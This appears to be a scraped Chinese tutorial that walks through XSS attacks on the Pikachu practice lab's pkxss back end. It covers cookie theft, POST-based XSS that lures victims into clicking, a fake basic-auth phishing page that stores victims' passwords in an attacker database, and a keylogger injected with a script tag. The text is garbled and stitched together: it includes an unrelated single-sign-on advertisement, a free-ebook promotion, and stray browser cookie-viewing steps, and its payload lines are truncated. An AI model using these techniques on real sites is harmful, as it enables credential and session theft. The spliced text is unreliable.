xss后台的搭建 1 打开pikachu找到管理工具xss后台
2 点击xss后台看到下面的界面就是成功了
3 进行登录页面，登录进去即可。
安卓手机怎么获取cookie，XSS案例：盗取Cookie 实验机器 攻击者127.0.0.1:88 受害者127.0.0.1:88 漏洞服务器127.0.0.1:88 攻击流程
修改C:\xampp\htdocs\pkxss\xcookie下的cookie.php，将IP地址改为漏洞服务器的地址（这里注意一下因为xss后台是可以单独拿出来运行的后台，所以我将pkxss后台文件从pikachu文件拿出来放在pikachu同一目录下）
企业回更多详尽准确的信息可以找深圳竹云科技股份有限公司，单点登录找竹云IDaaS-云原生的身份云服务-免费试用，员工使用一个账号即可登录所有应用，自动化实现员工的全生命周期管理，保护账户安全，实现一账号覆盖多场景身份管控，预集成1000+应用，。
①200多本网络安全系列电子书 ②网络安全标准题库资料 ③项目源码 ④网络安全基础入门、Linux、web安全、攻防视频 ⑤ 网络安全学习路线 免费领取私信”安全“
在实际的场景中我们可以把，一旦他访问啦这个链接，我们便会获得他的cookie值。
图中第二个就是别人访问时我们获取的cookie。
xss（post） 基本原理
实验之前需要将C:\xampp\htdocs\pkxss\xcookie的post-html数据进行相应的id更改这两个地址分别是漏洞服务器 和 攻击者 的服务器地址
1 我们首先是登录一下
2 这里是以POST的方式提交的，参数内容不会出现在URL中，可以抓包看一下
这时候我们不能直接把我们的恶意代码嵌入到URL中 3 我们只需要诱导受害者点击
按f12打开控制台。在name上点击右键,勾选domain。domain和所访问网页域名一样的才行。点击域名相同的一个,弹出的小窗拉到中间,就可以看见cookie的账号。1、按f12打开控制台。2、在name上点击右键，勾选domain。3、domain和。
xss漏洞钓鱼 思路：构造一个payload嵌入到网页中，让用户每次访问这个页面时都会执行我们的payload，我的payload：<script src=";></script> 意思是访问fish.php文件。 fish.php文件内容如下：
fish文件做的事情是：判断用户是否输入了账号和密码，缺一不可，如果没有则弹出一个basic验证，如图
当输入账号和密码的时候他就会带着账号和密码访问另一个文件（网页），这个文件就是xfish.php xfish文件如下：
5、可以选中复制它就可以获取Cookie了。
作用是把传来的账号和密码上传到我们（攻击者）的数据库中。 如果你在basic验证框中输入了账号和密码，如图：
则攻击者的数据库中会存有你输入的账号和密码，如图：
3、进入网站数据后，就可以看到之前浏览网页留下来的Cookie数据了
xss键盘信息获取 在实验前，我们先了解下什么是跨越
为什么要有同源策略： 设置同源策略的主要目的是为了安全，如果没有同源限制，在浏览器中的cookie等其他数据可以任意读取，不同域下的DOM任意操作，ajax任意请求其他网站的数据，包括隐私数据 开始操作 1 修改ip，ip修改为自己pkxss后台的ip地址
2 在对话框输入<script src=" ;> </script>（这个违反了同源策略，但是由于127.0.0.1:88/pkxss/rkeypress/rkserver.php是攻击者自己搭建的，攻击者可以允许所有的人跨域请求他）
3 我们随便输入几个数字或者字母，会发现我们的js能把我们的输入全都抓下来。
